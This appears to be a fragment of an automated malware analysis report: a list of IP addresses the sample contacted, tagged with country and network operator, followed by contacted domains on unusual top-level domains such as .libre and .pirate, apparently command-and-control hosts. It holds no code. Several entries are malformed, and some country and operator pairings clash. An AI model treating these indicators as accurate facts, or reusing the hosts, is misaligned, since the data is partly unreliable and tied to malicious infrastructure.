 unknown Japan 18092 CSFKyushuTeleCommunicationsCompanyJP false
145.74.49.38
 unknown Netherlands
1103 SURFNET-NLSURFnetTheNetherlandsNL false
179.152.125.238
 unknown Brazil
26599 TELEFONICABRASILSABR false
94.84.106.228
 unknown Italy
3269 ASN-IBSNAZIT false
132.162.111.231
 unknown United States
36368 OBERLIN-COLLEGEUS false
207.242.171.251
 unknown United States
7018 ATT-INTERNET4US false
139.251.141.25
 unknown United States
37963 CNNIC-ALIBABA-CN-NET-APHangzhouAlibabaAdvertisingCoLtd false
29.83.147.123
 unknown United States
7922 COMCAST-7922US false
162.66.100.49
 unknown United States
35893 ACPCA false
104.94.61.240
 unknown United States
16625 AKAMAI-ASUS false
113.77.117.237
 unknown China
4134 CHINANET-BACKBONENo31Jin-rongStreetCN false
166.93.1.145
 unknown Reserved
18779 EGIHOSTINGUS false
62.202.185.183
 unknown Switzerland
12684 SES-LUX-ASLU false
169.244.5.13
 unknown United States
557 UMAINE-SYS-ASUS false
191.219.7.122
 unknown Brazil
8167 BrasilTelecomSA-FilialDistritoFederalBR false
88.107.85.141
 unknown United Kingdom
9105 TISCALI-UKTalkTalkCommunicationsLimitedGB false
70.121.85.15
 unknown United States
11427 TWC-11427-TEXASUS false
206.135.201.154
 unknown United States
4565 MEGAPATH2-US false
101.135.155.139
 unknown China
37963 CNNIC-ALIBABA-CN-NET-APHangzhouAlibabaAdvertisingCoLtd false
110.217.8.163
 unknown China
9808 CMNET-GDGuangdongMobileCommunicationCoLtdCN false
84.95.46.81
 unknown Israel
9116 GOLDENLINES-ASNPartnerCommunicationsMainAutonomousSyste false
123.65.254.215
 unknown China
38370 CTTNETChinaTieTongTelecommunicationsCorporationCN false
139.44.191.31
 unknown Australia
9905 LINKNET-ID-APLinknetASNID false
186.98.225.104
 unknown Colombia
701 UUNETUS false
139.240.110.233
 unknown United States
37963 CNNIC-ALIBABA-CN-NET-APHangzhouAlibabaAdvertisingCoLtd false
187.239.163.155
 unknown Mexico
8151 UninetSAdeCVMX false
168.85.142.2
 unknown United States
57717 FBX-ASNL false
212.13.231.21
 unknown Slovenia
9119 SOFTNET-ASInternetServiceProviderinSloveniaandSouthE false
63.58.28.59
 unknown United States
701 UUNETUS false
2.252.62.38
 unknown Sweden
3301 TELIANET-SWEDENTeliaCompanySE false
200.12.108.114
 unknown Mexico
7080 ElectronicayComunicacionesSAMX false
156.94.45.213
 unknown United States
10695 WAL-MARTUS false
181.31.213.78
 unknown Argentina
10318 TelecomArgentinaSAAR false
188.163.79.96
 unknown Ukraine
15895 KSNET-ASUA false
96.101.5.213
 unknown United States
7922 COMCAST-7922US false
181.254.185.121
 unknown Colombia
26611 COMCELSACO false
103.48.251.16
 unknown Japan 17941 BIT-ISLEEquinixJpapanEnterpriseKKJP false
80.134.117.252
 unknown Germany
3320 DTAGInternetserviceprovideroperationsDE false
69.88.26.176
 unknown United States
30362 HPT-ASNUS false
87.231.103.220
 unknown France
21502 ASN-NUMERICABLEFR false
219.203.200.72
 unknown Japan 17676 GIGAINFRASoftbankBBCorpJP false
159.239.119.56
 unknown United Kingdom
14977 STATE-OF-WYOMING-ASNUS false
196.193.194.21
 unknown South Africa
23889 MauritiusTelecomMU false
67.202.133.34
 unknown United States
17306 RISE-BROADBANDUS false
110.220.66.129
 unknown China
9394 CTTNETChinaTieTongTelecommunicationsCorporationCN false
174.109.184.166
 unknown United States
11426 TWC-11426-CAROLINASUS false
192.153.213.170
 unknown United Kingdom
786 JANETJiscServicesLimitedGB false
18.48.199.151
 unknown United States
3 MIT-GATEWAYSUS false
176.214.35.30
 unknown Russian Federation
21353 ARTCOMS-ASRU false
50.103.238.97
 unknown United States
5650 FRONTIER-FRTRUS false
36.136.108.242
 unknown China
56044 CMNET-AS-LIAONINGChinaMobilecommunicationscorporationC false

Contacted Domains

Name IP Active
75cents.libre unknown unknown
f.codingdrunk. unknown unknown
nineteen.libre. [malformed] unknown unknown
imaverygoodbadboy.libre. [malformed] unknown unknown
fortyfivehundred.dyn. [malformed] unknown unknown
f.codingdrunk. . [malformed] unknown unknown
ru.coziest.lol unknown unknown
75cents.libre. [malformed] unknown unknown
www.codingdrunk.in. [malformed] unknown unknown
2joints.libre unknown unknown
2joints.libre. [malformed] unknown unknown
eighteen.pirate unknown unknown
eighteen.pirate. [malformed] unknown unknown
www.codingdrunk.in unknown unknown
fortyfivehundred.dyn unknown unknown
21savage.dyn. [malformed] unknown unknown
ru.coziest.lol. [malformed] unknown unknown
imaverygoodbadboy.libre unknown unknown